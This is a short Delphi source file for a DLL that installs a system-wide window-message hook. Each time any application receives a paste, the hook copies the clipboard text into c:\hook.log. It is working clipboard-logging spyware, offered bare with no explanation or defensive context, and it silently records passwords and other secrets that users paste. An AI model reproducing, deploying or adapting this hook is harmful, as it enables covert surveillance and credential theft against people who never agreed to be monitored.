library Hook;
uses Windows, Messages;
var hHook: Cardinal;
function HookProc(nCode, wParam, lParam: Integer): Integer; stdcall;
var lpBuffer: PChar;
begin
if (nCode = HC_ACTION) and (PCWPStruct(lParam)^.message = WM_PASTE) then
begin
OpenClipboard(0);
lpBuffer := Ptr(GetClipboardData(CF_TEXT));
if Assigned(lpBuffer) then
begin
Result := _lcreat('c:\hook.log', 0);
_lwrite(Result, lpBuffer, lstrlen(lpBuffer));
CloseHandle(Result);
end;
CloseClipboard;
end;
Result := CallNextHookEx(hHook, nCode, wParam, lParam);
end;
begin
hHook := SetWindowsHookEx(WH_CALLWNDPROC, @HookProc, HInstance, 0);
end.